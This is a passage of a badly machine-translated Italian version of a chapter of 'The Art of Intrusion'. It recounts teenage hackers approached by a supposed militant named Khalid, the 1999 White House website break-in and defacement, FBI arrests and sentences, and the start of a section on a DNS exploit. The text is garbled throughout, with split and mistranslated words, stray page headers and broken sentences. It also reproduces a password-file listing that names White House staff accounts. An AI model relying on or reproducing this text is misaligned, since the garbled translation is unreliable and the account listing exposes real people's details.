Dopo il dirottamento, Khalid ha detto ne0h che il suo gruppo era responsabile e lui stesso era stato coinvolto.

Questo mi ha spaventato a morte. Lui era un cattivo ragazzo. Ho sentito che dovevo coprire le il mio culo.

Ma l'angoscia di ne0h stato temperato da avidità fanciullesco. "Speravo ancora che mi avrebbe pagato i miei soldi ", ha aggiunto.

Il collegamento dirottamento aggiunto benzina al fuoco che Khalid aveva incendiato precedenza. A un certo punto, a quanto pare infastidito dalla mancanza di successo degli adolescenti nel fornire le informazioni che chiedeva, Khalid aveva provato un alto tattica pressione. Reporter Niall McKay, nella stessa storia per Wired.com, ha scritto di aver visto un vecchio messaggio IRC dalle Khalid ai giovani in

che ha minacciato di averli uccisi se lo hanno riferito all'FBI.

McKay ha scritto di aver visto anche un messaggio dal pakistano ai ragazzi: "Voglio sapere: Ha [qualcuno] raccontato i federali di me?» E in un altro posto, "Dite loro [se lo hanno fatto], sono carne morta. Avrò cecchini impostato su di essi. "

2

Il compagno ottiene Busted

La situazione stava diventando appiccicosa, ma era per avere la peggio. A pochi giorni dopo il successo del compagno a penetrare un sistema associato con SIPR-NET, il padre è stato fermato il suo modo di lavorare. I poliziotti gli hanno detto, "Vogliamo parlare con il figlio," e gli mostrò un mandato di perquisizione.

Comrade ricorda:

C'erano alcune persone della NASA, il DoD, l'FBI. In tutte

ci sono stati come dieci o dodici agenti, e alcuni poliziotti, troppo. Ero stato

L'arte dell'intrusione

30

fare in giro in alcune scatole NASA, ho messo uno sniffer su ns3.gtra.mil, solo per raccogliere le password. Ma come effetto collaterale, raccolto email pure. Mi hanno detto che venivo accusato di intercettazioni illegali per questo. E poi per i computer della NASA sono arrivato violazioni del copyright o violazione. E altre cose.

Proprio il giorno prima, un amico ha detto, "Amico, stiamo per ottenere eliminato al più presto. "Stava lanciando fuori. Ho pensato, "Sì, lui ha un Punto. "Così ho cancellato il mio disco rigido.

Ma il compagno non era completa per il lavoro di pulizia. "Ho avuto dimenticati dieci i vecchi dischi in giro la mia scrivania. "

Mi hanno interrogato. Ho ammesso che, ho detto, "Mi dispiace, ecco cosa Ho fatto, ecco come risolvere il problema, io non lo farò più. "Erano come, "Va bene, non consideriamo un criminale, non farlo di nuovo.

Se lo fai ancora, te ne andrai in manette. "Hanno messo in valigia il mio computer, periferiche, e pezzi di hard disk, e se ne andarono.

Più tardi hanno cercato di raggiungere il compagno di dire loro la password per la sua criptati dischi rigidi. Quando non avrebbe detto, hanno detto che sapevano come per rompere le password. Il compagno conosceva meglio: aveva usato PGP (Pretty Good Privacy) la crittografia e la sua password era "un centinaio tere ca- lungo "Eppure insiste che non è difficile da ricordare -. è tre dei suoi citazioni preferite messe insieme.

Il compagno non ha sentito nulla di più da loro per circa sei mesi.

Poi un giorno ha ottenuto la parola che il governo aveva intenzione di sporgere denuncia.

Con il tempo ha avuto modo di corte, veniva inchiodato per quello che il procuratore richiesto è un arresto di tre settimane di computer della NASA e di intercettazione migliaia di messaggi di posta elettronica all'interno del Dipartimento della Difesa.

(Come so fin troppo bene, il "danno" rivendicato dai pubblici ministeri e il danno vita reale a volte sono molto diverse. Il compagno scaricato

software dalla NASA Marshall Space Flight Center in Alabama, usato nel controllare la temperatura e l'umidità della Spaziale Internazionale

Stazione; il governo ha sostenuto che questo aveva costretto a tre settimane di shutdown giù di alcuni sistemi informatici. Il Dipartimento della Difesa attacco

offerto causa più realistico di preoccupazione: il compagno si era rotto nella

sistema informatico della Difesa Threat Reduction Agency e installato una "porta di servizio" che gli consente l'accesso in qualsiasi momento.)

Il governo, ovviamente, considerato il caso importante come un avvertimento ad altri hacker adolescenti, e reso molto della sua convinzione sulla stampa, lui proclamando la persona più giovane mai condannata per l'hacking come fedecrimine rale. Procuratore Generale Janet Reno anche rilasciato una dichiarazione che ha detto in parte, "Questo caso, che segna la prima volta che un hacker giovanile servirà

Capitolo 2 quando i terroristi venire chiamata

31

tempo in un centro di detenzione, dimostra che prendiamo intrusioni informatiche gradualmente e stanno lavorando con i nostri partner forze dell'ordine per aggressivamente combattere questo problema. "

Il giudice ha condannato il compagno a sei mesi di carcere seguiti da sei mesi di libertà vigilata, per iniziare dopo la fine del semestre di scuola.

La madre del compagno era ancora vivo in quel momento; ha assunto un nuovo avvocato, ha ottenuto

un sacco di lettere scritte, ha presentato al giudice ciò che il compagno chiama "un intero nuovo caso ", e, incredibilmente, è riuscito a ottenere la condanna ridotta a arresti domiciliari seguiti da quattro anni di libertà vigilata.

A volte nella vita non facciamo la migliore delle opportunità. "Ho fatto il arresti domiciliari e stava attraversando libertà vigilata. Diverse cose sono successe, Ho iniziato a festeggiare troppo, così mi hanno mandato in riabilitazione. "Back dalla riabilitazione, Il compagno ha un lavoro con una società di Internet e ha iniziato la sua Vestito Internet. Ma lui e il suo addetto alla sorveglianza non vedesse faccia a faccia e il compagno è stato mandato in prigione, dopo tutto. Era solo 16 anni, incarnazione cerated per gli atti che ha commesso all'età di 15 anni.

Non ci sono che molti giovani nel sistema federale; il posto che è stato inviato rivelato un "campo" (apparentemente una parola appropriata) in Alabama che ospitava solo 10 detenuti e che il compagno descrive come cerca "più come una scuola - chiuso porte e recinzioni di filo spinato, ma altrimenti non tanto come una prigione. "Non ha nemmeno bisogno di andare a lezione perché aveva già finito il liceo.

Torna a Miami e di nuovo in libertà vigilata, il compagno è stato dato un elenco di gli hacker non sarebbe stato permesso di parlare. "La lista era come questo ragazzo, questo ragazzo, e ne0h "Just" ne0h "-. il governo federale lo ha conosciuto solo dalla sua maniglia. "Non avevano idea di chi fosse. Se ho avuto accesso a due cento cose, ha avuto accesso a un migliaio di cose ", dice il compagno.

"Ne0h era piuttosto liscia." Per quanto riguarda uno di loro sa, l'applicazione della legge ancora non è riuscito a bloccare un nome su di lui o localizzare la sua posizione.

Indagare Khalid

Era Khalid il militante ha affermato di essere, o solo alcuni faker tirando la catene di adolescenti? O forse un'operazione dell'FBI per sondare fino a che punto la giovani hacker erano disposti ad andare? Una volta o l'altra, ciascuno dei hacker che avevano rapporti con Khalid erano sospettosi che non era davvero un militante; l'idea di fornire informazioni a un agente straniero sembra aver preso la briga di loro un buon affare meno l'idea del ragazzo potrebbe essere loro ingannare. Il compagno ha detto che "si chiese per il più lungo tempo ciò che [Khalid] era. Non sapevo se era una federazione o se è stato per vero. Parlando ne0h e parlando con lui, ho deciso che era abbastanza legittimo.

Ma non ho mai preso soldi da lui - che era una barriera, non volevo croce. "(All'inizio della conversazione, quando aveva menzionato il L'arte dell'intrusione

32

offerta di 10.000 dollari da Khalid, che era sembrato impressionato dalla somma. Avrebbe davvero sono diminuiti i soldi se i suoi sforzi avevano avuto successo e Khalid aveva effettivamente versato? Forse anche il compagno stesso non fa davvero conoscere la risposta a quella.)

ne0h dice che Khalid "suonava assolutamente professionale", ma ammette di avendo avuto dubbi lungo la strada sul fatto che lui era davvero un militante.

"Per tutto il tempo stavo parlando con lui, ho pensato che era pieno di merda. Ma dopo la ricerca con gli amici che ha contattato e dato altre formazioni zioni per, in realtà credo che fosse davvero chi diceva di essere.

Un altro hacker, Savec0re, incontrò qualcuno in IRC che ha detto che aveva uno zio nel dell'FBI che potrebbe organizzare l'immunità per un intero gruppo di hacker chiamato milw0rm. "Ho pensato che questo avrebbe mandato un messaggio all'FBI che non eravamo ostili ", ha detto Savec0re giornalista McKay in un Intervista email. "Così gli ho dato il mio numero di telefono. Il giorno dopo ho ricevuto una chiamare dal cosiddetto agente dell'FBI, ma aveva un incredibilmente forte Accento pakistano. "

"Ha detto che il suo nome era Michael Gordon e che era con l'FBI in Washington, DC, ", ha detto il giornalista Savec0re. "Mi sono reso conto allora che non aveva stato Ibrahim tutti insieme. "Mentre alcune persone sono state chiedendo se il supporto terrorismo insita potrebbe essere un pungiglione FBI, Savec0re stava raggiungendo il contrario conclusione: che il ragazzo che dichiara di essere un agente dell'FBI era davvero lo stesso terrorista, cercando di vedere se i ragazzi erano disposti a fischiare su di lui.

L'idea che questo potrebbe essere non sembra un'operazione FBI a stare in piedi. Se il governo federale ha voluto scoprire quali questi ragazzi erano capaci e disposti a fare, il denaro sarebbe stato scorre.

Quando l'FBI ritiene una situazione è abbastanza grave per eseguire una puntura, hanno messo soldi dietro lo sforzo. Promettendo 1.000 dollari per ne0h e poi non pagamenti ing non avrebbe alcun senso.

A quanto pare solo un hacker, in realtà ha visto i soldi da Khalid: Chameleon. "Sono andato a mio post-botteghino una mattina, e c'era un assegno di mille dollari, con un numero da chiamare in Boston, " Chameleon è stato citato come dicendo in un'altra *Wired News* storia (4 novembre 1998). Khalid capito che aveva mappe di governo reti informatiche; l'assegno era di pagamento per le mappe. Camaleonte incassato l'assegno. Due settimane dopo fu perquisito dall'FBI e interrogati gated circa il pagamento, sollevando la questione interessante di come la governo sapeva dei mille dollari. Questo era prima del 9/11, quando l'FBI si è concentrata sulla criminalità nazionale e prestando scarsa attenzione alla minaccia terroristica. Chameleon ammesso di aver preso i soldi, ma ha insistito per il *Wired News* giornalista che non aveva fornito alcuna go-mappe di rete verno.

Capitolo 2 quando i terroristi venire chiamata

33

Sebbene avesse confessato di accettare denaro da un terrorista straniero, che avrebbe potuto portare una carica di spionaggio e la possibilità di un frase molto lunga, senza costi erano mai depositato - approfondire il mistero. Forse il governo voleva solo parola per diffondere l'hacker in Comunità che fare affari con agenti stranieri potrebbe essere rischioso. Forse il controllo non è stato da Khalid, dopo tutto, ma dal FBI.

Pochi sanno la vera identità di Chameleon, e lui vuole molto di mantenere in questo modo. Volevamo ottenere la sua versione della storia. Ha rifiutato per parlare della questione (solo dandosi un out menzionando lui pensò Khalid era una Fed proprio in posa come un terrorista). Se fossi nella sua posizione, probabilmente non avrebbe voluto essere intervistato sull'argomento sia.

Il Harkat ul-Mujahideen

Durante la ricerca i registri Internet Relay Chat, giornalista McKay ha scoperto che Stesso Khalid aveva a un certo punto descritto ai giovani hacker come un bro BER di Harkat-ul-Ansar.

3

Secondo l' *Intelligence Review Asia del Sud* ,

"L' *Harkat-ul-Ansar* è stata definita una organizzazione terroristica dagli Stati Uniti a causa per la sua associazione con la esiliato saudita Osama terrorista bin Laden in 1997. Per evitare le ripercussioni del divieto degli Stati Uniti, il gruppo è stato rifusione come la *Harkat ul-Mujahideen* nel 1998. "

4

Il Dipartimento di Stato americano ha ripetutamente messo in guardia su questo gruppo. Un elemento da State legge, "i funzionari pakistani hanno detto che un raid aereo Usa su 23 ottobre [2001] aveva ucciso 22 guerriglieri pakistani che combattevano al fianco dei talebani nei pressi di Kabul. I morti erano membri della Harkat ul-Mujaheddin ... [che] erano stati immessi sul Dipartimento di Stato del lista ufficiale delle organizzazioni terroristiche nel 1995. "

5

In realtà, la Harkat è oggi uno dei 36 gruppi designati dallo Stato come organizzazioni terroristiche straniere. Il nostro governo, in altre parole, con li ritiene tra gli attori baddest sulla faccia del globo.

I giovani hacker, ovviamente, non lo sanno. Per loro, è stato tutto un gioco.

Per quanto riguarda Khalid, un maggiore generale delle forze armate indiane, dando una affrontare il tema della sicurezza delle informazioni nel mese di aprile del 2002, ha confermato Khalid come un terrorista, raccontando il suo pubblico su di hacker collega con "Khalid Ibrahim di pakistano-based Harkat-ul-Ansar. "

6

Il generale sembrava LOCALIZZAZIONE

dissanguate, tuttavia, che lo stesso non è stato Khalid basata in Pakistan, ma in paese del generale, a Delhi, in India.

All'indomani del 9/11

Alcuni hacker manipolare e ingannare. Essi ingannare i sistemi informatici in pensando di avere l'autorizzazione che essi hanno di fatto rubato; praticano L'arte dell'intrusione

34

quello che si sta dicendo, e il modo in cui lo dice, suggeriscono che possa essere creduto. A volte sei solo non certo.

Il mio coautore e io non sono certo di quello che ci ha detto di ne0h sua reazione Tion a 9/11. Crediamo che basta per condividerlo:

Sai quanto ho pianto quel giorno? Ho sentito di sicuro la mia vita era finita.

Questo è stato accompagnato da una risata nervosa curioso - cosa significa? Non abbiamo potuto raccontare.

E pensare che forse ho avuto qualcosa a che fare con esso. Se fossi andato in Lockheed Martin o Boeing e ottenuto ulteriori informazioni, si avrebbe utilizzato tale. E 'stato un brutto momento per me e per l'America. Ho pianto perché non ho mai pensato di denunciarlo. Non ho usato la mia migliore giudizio. Questa è la ragione che mi ha assunto per fare tutte queste cose ... Se avessi anche un mignolo dita di una mano nel centro commerciale ... [Il pensiero] era assolutamente devastante.

In realtà ho perso tre amici nel World Trade Center; Non ho mai sentita così male.

Molti hacker sono adolescenti o anche più giovani. È che troppo giovane per riconoscere il potenziale pericolo di rispondere alle richieste da parte di qualcuno che potrebbe costituire una minaccia per il nostro paese? Personalmente, mi piacerebbe pensare 9/11 ha fatto gli hacker americani - anche molto giovani - sospettoso, improbabile che truffare da un terrorista. Spero solo che ho ragione.

La Casa Bianca break-in

La storia della sicurezza informatica in un modo parallelo alla storia antica della crittografia. Per secoli, i responsabili del codice hanno ideato cifre che etichettato "unbreakable". Anche oggi, in un'epoca di computer in grado di lettura illy crittografare un messaggio utilizzando un one-time pad, o una chiave che contiene centinaia di personaggi, la maggior parte dei codici sono ancora fragili. (Code-making America e -code rompere l'organizzazione, la National Security Agency, vanta un mero BER dei più grandi, più veloci, più potenti computer del mondo.)

La sicurezza informatica è come un continuo gioco al gatto e al topo, con la sicurezza esperti da un lato e gli intrusi dall'altro. L'operativo Windows sistema contiene linee di numerazione codice a decine di milioni. E 'un

Capitolo 2 quando i terroristi venire chiamata

35

no-brainer che qualsiasi software di enormi dimensioni conterrà inevitabilmente vulnerabile nerabilities che gli hacker dedicati alla fine scoprire.

Nel frattempo, i lavoratori dell'azienda, burocrati, a volte anche la sicurezza professionisti potranno installare un nuovo computer o un'applicazione e si affacciano sul passo di cambiare la password di default, o la costruzione di uno che è ragione nevolmente sicuro - lasciando il dispositivo in una situazione di vulnerabilità. Se leggete il notizie di attacchi di hacker e effrazioni, sai già che militari e siti governativi, e anche il sito web della Casa Bianca, sono già stati compromessa. In alcuni casi ripetutamente.

Ottenere su un sito e deturpare una pagina Web è una cosa - la maggior parte delle tempo è essenzialmente banale, se fastidioso. Eppure, molte persone si affidano a un unico password per ogni uso; se irruzione in un sito Web porta a catturare password parole, gli attaccanti potrebbero essere in grado di accedere ad altri sistemi la rete e fare molto più danno. ne0h dice che nel 1999 ha

e altri due membri del gruppo hacker gLobaLheLL fatto proprio questo, su uno dei punti più sensibili negli Stati Uniti: la Casa Bianca.

Credo che la Casa Bianca stava facendo una reinstallazione del loro OPERATE sistema opera-. Avevano tutto inadempiente. E per quel periodo di dieci, quindici minuti, Zyklon e MostFearD riusciti a ottenere in, ottenere il file di password ombra, crack, inserire e modificare il Sito Web. Ero lì mentre stavano facendo.

E 'stato fondamentalmente essere al posto giusto al momento giusto. Era solo per caso, solo un colpo di fortuna che è successo a essere on line solo quando il sito è stato in lavorazione.

Avevamo discusso nella gLobaLheLL chat room. Sono stato svegliato da una telefonata intorno 03:00 dicendo che stavano facendo. Io ha detto, "Stronzate. Dimostralo. "Sono saltato sul mio computer. Abbastanza sicuro, lo hanno fatto.

MostFearD e Zyklon fatto la maggior parte di esso. Mi hanno dato l'ombra file per rompere il più velocemente possibile. Ho ottenuto una [password] - una semplice parola del dizionario. E 'stato a questo proposito.

neOh fornito una parte di quello che dice è il file di password che il altri ottenuti e passati a lui, elencando quello che sembra essere un paio di utenti autorizzati sul personale della Casa Bianca

7

:

root: x: 0: 1: Super-User: /: / sbin / sh

daemon: x: 1: 1 :: /:

bin: x: 2: 2 :: / usr / bin:

sys: x: 3: 3 :: /:

adm: x: 4: 4: Admin: / var / adm:

uucp: x: 5: 5: uucp Admin: / usr / lib / uucp:

L'arte dell'intrusione

36

nuucp: x: 9: 9: uucp

Admin: / var / spool / uucppublic: / usr / lib / uucp / uucico

ascolta: x: 37: 4: Network Admin: / usr / net / nls:

nessuno: x: 60001: 60001: Nobody: /:

noaccess: x: 60002: 60002: No Accesso utente: /:

nobody4: x: 65534: 65534: SunOS 4.x Nobody: /:

bing: x: 1001: 10: Bing Feraren: / usr / utenti / bing: / bin / sh

orion: x: 1002: 10: Christopher

Adams: / usr / utenti / orion: / usr / ace / sdshell

webadm: x: 1130: 101: Web

Administrator: / usr / utenti / webadm: / bin / sh

cadams: x: 1003: 10: Christopher

Adams: / usr / utenti / cadams: / usr / ace / sdshell

bartho_m: x: 1004: 101: Mark

Bartolomeo: / usr / utenti / bartho_m: / usr / ace / sdshell

monty: x: 1139: 101: Monty Haymes: / usr / utenti / monty: / bin / sh

Debra: x: 1148: 101: Debra Reid: / usr / utenti / Debra: / bin / sh

connie: x: 1149: 101: Connie

Colabatistto: / usr / utenti / Connie: / bin / sh

bill: x: 1005: 101: William Hadley: / usr / utenti / bill: / bin / sh

Questo è in forma di un file di password Unix o Linux, il tipo utilizzato quando le password crittografate sono memorizzate in un file separato, protetto. Ogni linea elenca il nome di una persona che ha un account sul sistema. La voce "Sdshell" su alcune linee suggerisce che questi utenti, per una maggiore sicurezza, portavano un piccolo dispositivo elettronico chiamato *RSA SecureID*, che scarta gioca un numero di sei cifre che cambia ogni 60 secondi. Per firmare, questi gli utenti devono inserire il numero a sei cifre visualizzato in quel momento sul loro Dispositivo SecureID insieme a un numero di PIN (che può essere assegnato a alcune imprese o di auto-scelto in altri). Il sito Web della Casa Bianca era deturpato allo stesso tempo come il rodaggio, per mostrare che c'era stata, secondo ne0h, che ha fornito un link al defacement (vedi Figura 2-1).

8

Oltre che porta un simbolo per il gruppo di hacker gLobaLheLL, il messaggio contiene anche un logo per l'Hong Kong Danger Duo. E 'stato, ne0h dice, un nome falso costituito per aggiungere un elemento di inganno. Come ne0h ricorda, i ragazzi responsabili di questa Casa Bianca trucco non si sentiva alcuna esaltazione particolare di aver potuto penetrare quello che dovrebbe essere tra i sei o dozzina di siti Web più sicuri la nazione. Erano "piuttosto impegnati a cercare di penetrare tutto" ne0h spiegato, "per dimostrare al mondo che siamo stati i migliori." Invece di pacche virtuali sulle spalle di tutto, è stato, dice, più un atteggiamento di "Buon lavoro, ragazzi, abbiamo finalmente ottenuto, che cosa è il prossimo?" Ma non hanno avuto molto tempo per altri furti di qualsiasi tipo. I loro mondi stavano per crollare, e che una parte del racconto porta il storia indietro intorno ancora una volta il misterioso Khalid.

Capitolo 2 quando i terroristi venire chiamata

37

Figura 2-1: pagina Defacement su bianco

Sito web della Casa, maggio 1999.

Zyklon, altrimenti noto come Eric Burns, riprende il racconto a questo punto. Non era mai in realtà un membro di gLobaLheLL, dice, ma ha rimanere in giro su IRC con alcuni dei ragazzi. Nella sua descrizione dei fatti, la Casa Bianca divenne mod possibile quando ha scoperto il sito Web era suscettibile di essere compromessa sfruttando un foro in un campione programma chiamato PHF, che viene utilizzato per accedere a una rubrica basata sul Web database. Questa è stata una vulnerabilità critica, ma anche se la gente a l'hacker comunità lo sapeva ", non molte persone sono state usando", dice Zyklon.

La realizzazione di un certo numero di passi (descritto nella sezione Insight al fine di questo capitolo), è stato in grado di ottenere root su whitehouse.gov e stabilire l'accesso ad altri sistemi sulla rete locale, compreso il bianco Mail server House. Zyklon a quel punto ha avuto la capacità di intercettare qualsiasi messaggi tra membri dello staff della Casa Bianca e il pubblico, anche se, naturalmente quei messaggi non avrebbero rivelato informazioni classificate.

Ma era anche, Zyklon dice, in grado di "prendere una copia della password e shadow file. "Hanno appeso attorno al sito, vedendo quello che potevano trovare, aspettando che le persone hanno iniziato ad arrivare al lavoro. Mentre aspettava, lui ha ricevuto un messaggio da Khalid, che ha detto che stava scrivendo un articolo su

recenti irruzioni, e chiedendo Zyklon se avesse qualche exploit recenti da raccontare

L'arte dell'intrusione

38

Pagina 60

su. "Allora gli ho detto che eravamo a destra poi nella web della Casa Bianca sito "Zyklon detto.

Nel giro di un paio d'ore di questo scambio, Zyklon mi ha detto, hanno visto un sniffer appaiono sul sito - un amministratore di sistema è stato cercando di vedere che cosa stava succedendo e cercando di tenere traccia di chi la gente era sul sito. Solo una coincidenza? O ha fatto avere qualche motivo per essere sospettosi in quel particolare momento? Sarebbe mesi prima Zyklon scoperto il rispondere. Per il momento, non appena hanno avvistato il sniffer, i ragazzi staccato la spina, scesi dal sito, e speravo che avevano catturato al amministratore prima aveva preso su di loro.

Ma avevano suscitato un vespaio proverbiale. Circa due settimane poi l'FBI scese in vigore, arrotondando ogni gLobaLheLL bro ber erano stati in grado di identificare. Oltre a Zyklon - poi 19, arrestati in stato di Washington - hanno anche afferrato MostHateD (Patrick Gregory, anche 19, dal Texas), e MindPhasr (Chad Davis, Wisconsin), insieme ad altri.

ne0h è stato tra i pochi sopravvissuti lo sweep. Dalla sicurezza la sua posizione remota, era irritato, e ha registrato un defacement sito Web pagina con un messaggio di sfida; come modificata per la prima serata, si leggeva: "Ascolta up f_____ers dell'FBI m____. Non f___ con i nostri membri, si perderanno. stiamo tenendo fbi.gov mentre scrivo questo. E LA TUA Temendo. Abbiamo ottenuto arrestato perché voi idouts muti riesco a capire chi violato il bianco-houe .. giusto? così ci si prende all in e vedere se uno di loro narcs. BUONA FORTUNA F___ING .. ci voleva NARC. Non capisci? HO DETTO World Domination ".

E lui firmato: "il spietato, ne0h."

9

Conseguenze

Così come ha fatto che l'amministratore di sistema capita di essere sniffing così presto nella mattina? Zyklon non ha alcun dubbio sulla risposta. Quando la

L'accusa aveva redatto i documenti nel suo caso, ha trovato una dichiarazione che informazioni che porta alla conoscenza del gLobaLheLL pausa-in al

Sito della Casa Bianca era stato fornito da un informatore dell'FBI. Mentre Rammentare BERS esso, il giornale ha anche detto che l'informatore era a New Delhi, India.

In considerazione di Zyklon, non c'è alcun dubbio. L'unica persona che aveva detto sulla Casa Bianca break-in - l' *unica* persona - è stato Khalid

Ibrahim. Uno più uno fa due: Khalid era un informatore dell'FBI.

Ma il mistero rimane. Anche se Zyklon è corretta, è che l'intero storia? Khalid era un informatore, aiutando l'FBI individuare hacker capretto volontà- ing condurre irruzioni a siti sensibili? O c'è un altro possibile

spiegazione: che il suo ruolo di informatore era solo metà della storia, e lui

è stato infatti anche il terrorista pakistano che il generale indiano credeva

Capitolo 2 quando i terroristi venire chiamata

39

Pagina 61

era. Un uomo che gioca un doppio ruolo, aiutando la causa mentre talebani ha infiltrato l'FBI.

Certamente i suoi timori per uno dei ragazzi lo riferisce al fit FBI questa versione della storia.

Solo poche persone conoscono la verità. La domanda è, sono gli agenti dell'FBI e procuratori federali che sono stati coinvolti tra coloro che conoscono il storia vera. O erano, anche, di essere ingannati?

Alla fine, Patrick Gregory e Chad Davis sono stati condannati a 26 mesi, e Zyklon Burns ha 15 mesi. Tutti e tre hanno terminato Ser-ing loro tempo e sono uscito di prigionia.

Cinque anni dopo

In questi giorni l'hacking è più solo un ricordo per il compagno, ma la sua voce diventa più vivo quando parla «l'emozione di fare un cazzo non sei dovrebbe fare, andare luoghi che non dovresti andare, sperando di incontrato qualcosa di fresco ».

Ma è il momento di avere una vita. Dice che sta pensando di college. Quando abbiamo parlato, lui era appena tornato da scouting scuole in Israele. La lingua non sarebbe troppo di un problema - ha imparato l'ebraico in elementari scuola e infatti è stato sorpreso di quanto lo ricordava.

Le sue impressioni del paese erano misti. Le ragazze erano "davvero grandi "e gli israeliani hanno dimostrato molto bene in America. "Sembrano guardare fino agli americani. "Per esempio, è stato con alcuni israeliani che erano bere una bibita che non aveva mai sentito parlare di chiamata RC Cola; si è scoperto essere un prodotto americano. Gli israeliani spiegato, "On the spot, questo è quello che gli americani bevono. "Ha anche incontrato" alcuni anti-americano vibes con le persone che non sono d'accordo con la politica ", ma hanno preso in stride: "Credo che si ottiene da nessuna parte."

Odiava il tempo - "freddo e piovoso", mentre lui era lì. Poi c'era il problema computer. Aveva comprato un computer portatile e colare wireless cialmente per il viaggio, ma ha scoperto che "gli edifici sono costruiti fuori di questo pietra enorme spessore. "Il suo computer potrebbe vedere 5 o 10 reti, ma il segnale segnali erano troppo deboli per connettersi e dovuto camminare 20 minuti per un posto dove avrebbe potuto accedere.

Così il compagno è tornato a Miami. Un adolescente con un crimine per il suo rap fogli, sta ora vivendo la sua eredità, cercando di decidere di andare a college. Ha 20 anni, e non fare niente.

Vecchio amico del compagno ne0h lavora per una azienda di telecomunicazioni (un nove a cinque posti di lavoro è "non va bene", dice), ma che sarà lui a breve sarà a Los Angeles per tre mesi a un lavoro di lavoro manuale ha preso perché la paga è così tanto più di quello che sta facendo in questo momento. Partecipare società tradizionale, spera L'arte dell'intrusione

40

a mettere via abbastanza per un acconto su una casa nella comunità dove vive attualmente.

Quando i tre mesi fatica ben retribuiti è finita, ne0h, troppo, parla sull'avvio di college - ma non per studiare informatica. "La maggior parte delle le persone che ho mai incontrato che hanno gradi di informatica fanno merda-tutto ", dice. Invece, gli piacerebbe importanti nel mondo degli affari e organizzazione gestione nale, poi entrare nel campo dei computer a livello di business.

Parlando suoi vecchi exploit porta in primo piano la sua fissazione Kevin di nuovo. A In che misura ha fatto immaginare se stesso camminare nelle mie scarpe? *Volevo farsi prendere? Ho fatto e non l'ho fatto. Essere spettacoli catturati "Posso farlo, l'ho fatto." Non è come avrei voluto farsi prendere in acquisto pongono. Ho voluto farsi prendere così vorrei combattere, sarei rilasciato, sarei l'hacker che ha ottenuto via. Vorrei uscire, ottengo un buon lavoro del suono con un ente governativo e vorrei adattarsi a destra con la metropolitana.*

Quanto grande è la minaccia?

La combinazione di terroristi determinati e hacker capretto impavidi potrebbe disastroso per questo paese. Questo episodio mi ha lasciato chiedendosi quanti altri Khalids sono là fuori reclutando bambini (o anche gli adulti non patriottici con l'hacking competenze) e che hanno fame dopo i soldi, il riconoscimento personale, o la soddisfazione di realizzare con successo compiti difficili. Il post-Reclutatori Khalid possono essere più reticente e non è facile da identificare. Quando ero in detenzione preventiva accusato relativi all'hacking, ero avvicinato più volte da un signore della droga colombiana. Stava affrontando la vita in prigione federale senza possibilità di libertà condizionale. Mi ha offerto un dolce deal: sarei pagato \$ 5 milioni di dollari in contanti per l'hacking in "Sentry" - il Federal Bureau of Prisons sistema informatico - e liberandolo dalla custodia. Questo ragazzo era la cosa vera e gra- mortale ous. Non ho accettato la sua offerta, ma ho dato l'impressione che lo avrebbe aiutato out per evitare qualsiasi confronto. Mi chiedo cosa ne0h avrebbe fatto in una situazione simile.

I nostri nemici possono anche essere allenati loro soldati nell'arte di cyber dalla guerra tariffa per attaccare la nostra infrastruttura e difendere la propria. Sembra un no-brainer che questi gruppi avrebbero anche reclutare hacker informati da in qualsiasi parte del mondo, per la formazione e per i progetti mission-critical. Nel 1997 e di nuovo nel 2003, il Dipartimento della Difesa ha lanciato Funzionamento ricevitore ammissibile - uno sforzo per testare la vulnerabilità di questo nazione attacco elettronico. Secondo un resoconto pubblicato nel *Washington Times*

10

circa il precedente di questi sforzi, "Senior Pentagon i leader sono stati storditi da una esercitazione militare che mostra come sia facile per Capitolo 2 quando i terroristi venire chiamata

41

hacker per paralizzare US reti di computer militari e civili ". Il articolo continua a spiegare che la National Security Agency assemblato un gruppo di suoi specialisti di computer come una "squadra rossa" di hacker, ha permesso di utilizzare solo attrezzature disponibili off-the-shelf computer al pubblico, lungo con tutti gli strumenti di hacking, tra cui codice di exploit, potevano scaricare da Internet o bacheche elettroniche.

In pochi giorni gli hacker team Red infiltrati i sistemi informatici controllare parti di rete elettrica della nazione e con una serie di comandi potrebbero hanno trasformato le sezioni del buio paese. "Se l'esercit-CISE era stato reale ", il *Christian Science Monitor* ha riferito, "si può hanno interrotto il Dipartimento dei sistemi di comunicazione della difesa (Tirando fuori la maggior parte del Comando del Pacifico) e ha guadagnato l'accesso al com-

sistemi informatici a bordo di navi della marina americana. "

11

Nella mia esperienza personale, sono stato in grado di sconfiggere i meccanismi di sicurezza utilizzato da un numero di Baby Bell per controllare l'accesso agli switch telefonici. La dieci anni fa, ho avuto il controllo completo su maggior parte degli switch gestiti da Pacific Bell, Sprint, GTE, e altri. Immaginate il caos che un profilo delle risorse gruppo terroristico avrebbe provocato con lo stesso livello di accesso. I membri di Al Qaeda e di altri gruppi terroristici hanno un record di utilizzo reti di computer a pianificare atti terroristici. L'evidenza suggerisce che terrorists fatto un certo uso di Internet nella pianificazione delle loro attività per il 9/11 attacchi.

Se Khalid Ibrahim è riuscita a ottenere informazioni attraverso qualsiasi i giovani hacker, nessuno è riconoscendo esso. Se era davvero collegato con gli attacchi al World Trade Center e il Pentagono, definitivo prova mancante. Ma non si sa quando lui o un suo genere sarà rieleggibili pera sulla scena cyberspazio, traina per aiutanti ingenui che ottengono un brivido di "fare merda stai non dovresti fare, Going Places siete non dovrebbero andare. "I bambini che potrebbero pensare che la sfida sono viene offerto è "cool".

Per i giovani hacker, di sicurezza debole rimane un invito continuo. Ancora gli hacker in questa storia avrebbero dovuto riconoscere il pericolo in una straniera nazionale reclutarli compromettere sensibili reti informatiche US funziona. Mi chiedo quanti altri ne0hs sono stati reclutati da i nostri nemici.

Buona sicurezza non è mai stato più importante che in un mondo popolato da terroristi.

Io

Nsight

ne0h ci ha fornito dettagli su come ha inciso nella Lockheed Sistemi informatici Martin. La storia è una testimonianza sia alla innovazione L'arte dell'intrusione

42

di hacker ("Se c'è una falla nella sicurezza, lo troveremo" potrebbe essere il di hacker motto) e un avvertimento per ogni organizzazione.

Ha rapidamente determinato che Lockheed Martin era in esecuzione il proprio Domain Name Server. DNS, naturalmente, è il protocollo Internet che, per esempio, si traduce ("risolve") www.disney.com in 198.187.189.55, un indirizzo che può essere utilizzato per pacchetti di messaggi rotta. ne0h sapeva che un rezza gruppo di ricerca rezza in Polonia aveva pubblicato quello che gli hacker chiamano un *exploit* - un programma di progettazione specificamente per attaccare un particolare vulnerabilità - a usufruire di una debolezza nella versione del DNS che Lockheed era esecuzione.

